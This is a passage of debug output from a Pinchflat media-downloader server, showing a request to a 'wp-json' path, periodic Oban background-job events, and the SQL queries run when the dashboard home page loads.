"GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36891.0>, params: %{}, path_info: ["wp-json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_log (truncated) 21:44:50.667 [info] {"source":"oban","duration":3156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.245 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:20.671 [info] {"source":"oban","duration":2590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:22.543 [info] GET / 21:45:22.543 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:45:22.545 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=719.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:45:22.547 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=620.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:45:22.548 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=621.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:45:22.550 [debug] QUERY OK source="media_items" db=2.1ms idle=622.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:45:22.552 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=624.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:45:22.554 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:45:22.554 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:45:22.557 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:45:22.561 [debug] QUERY OK source="tasks" db=0.7ms idle=10.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:45:22.564 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=11.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:45:22.567 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=10.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:45:22.569 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=13.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:45:22.577 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=17.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:45:22.579 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=15.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:45:22.581 [debug] QUERY OK source="sources" db=0.4ms idle=15.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:45:22.582 [info] Sent 200 in 39ms 21:45:50.677 [info] {"source":"oban","duration":2829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.248 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:20.682 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:50.687 [info] {"source":"oban","duration":3305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.250 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:20.694 [info] {"source":"oban","duration":2258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:50.700 [info] {"source":"oban","duration":2870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.252 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:20.703 [info] {"source":"oban","duration":2237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:33.019 [info] GET / 21:48:33.019 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:48:33.022 [debug] QUERY OK source="settings" db=0.5ms idle=722.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:48:33.023 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=725.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:48:33.024 [debug] QUERY OK source="sources" db=0.2ms idle=726.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:48:33.026 [debug] QUERY OK source="media_items" db=1.6ms idle=726.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:48:33.026 [debug] QUERY OK source="media_items" db=0.3ms idle=240.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:48:33.027 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:48:33.027 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:48:33.028 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:48:33.030 [debug] QUERY OK source="tasks" db=0.6ms idle=3.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:48:33.034 [debug] QUERY OK source="media_items" db=0.8ms idle=6.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:48:33.036 [debug] QUERY OK source="media_items" db=1.1ms idle=7.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:48:33.038 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:48:33.043 [debug] QUERY OK source="media_items" db=2.3ms idle=12.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:48:33.048 [debug] QUERY OK source="media_items" db=3.3ms queue=0.2ms idle=13.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:48:33.050 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=14.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:48:33.053 [info] Sent 200 in 34ms 21:48:50.712 [info] {"source":"oban","duration":2795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.255 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:20.725 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:50.732 [info] {"source":"oban","duration":3042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.257 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:20.739 [info] {"source":"oban","duration":3595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:50.742 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.260 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:20.749 [info] {"source":"oban","duration":3331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:50.762 [info] {"source":"oban","duration":3565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.261 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:20.769 [info] {"source":"oban","duration":2848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:50.774 [info] {"source":"oban","duration":2846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.263 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:20.780 [info] {"source":"oban","duration":2617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:50.792 [info] {"source":"oban","duration":1960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.266 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:20.797 [info] {"source":"oban","duration":3183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:50.802 [info] {"source":"oban","duration":3140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.269 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:20.811 [info] {"source":"oban","duration":2598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:50.814 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.271 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:20.818 [info] {"source":"oban","duration":2822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:50.822 [info] {"source":"oban","duration":2719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.273 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:20.828 [info] {"source":"oban","duration":3299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:50.836 [info] {"source":"oban","duration":6454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.276 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:20.841 [info] {"source":"oban","duration":3494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:50.852 [info] {"source":"oban","duration":4919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.280 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:20.857 [info] {"source":"oban","duration":4384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:50.865 [info] {"source":"oban","duration":5422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.281 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:20.870 [info] {"source":"oban","duration":3628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:50.877 [info] {"source":"oban","duration":4301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.284 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:20.884 [info] {"source":"oban","duration":4728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:50.891 [info] {"source":"oban","duration":4429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.292 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:20.905 [info] {"source":"oban","duration":3744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:50.917 [info] {"source":"oban","duration":4950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.297 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:04.134 [info] GET / 22:03:04.135 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:03:04.149 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1999.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:04.150 [debug] QUERY OK source="media_profiles" db=0.4ms idle=803.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:03:04.150 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=13.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:03:04.154 [debug] QUERY OK source="media_items" db=3.4ms idle=14.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:03:04.156 [debug] QUERY OK source="media_items" db=1.0ms idle=17.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:03:04.157 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=20.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:04.158 [debug] QUERY OK source="settings" db=0.2ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:04.159 [debug] QUERY OK source="settings" db=0.1ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:04.162 [debug] QUERY OK source="tasks" db=0.5ms idle=7.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:03:04.166 [debug] QUERY OK source="media_items" db=0.5ms idle=10.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:03:04.167 [debug] QUERY OK source="media_items" db=0.9ms idle=8.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:03:04.169 [debug] QUERY OK source="sources" db=0.4ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 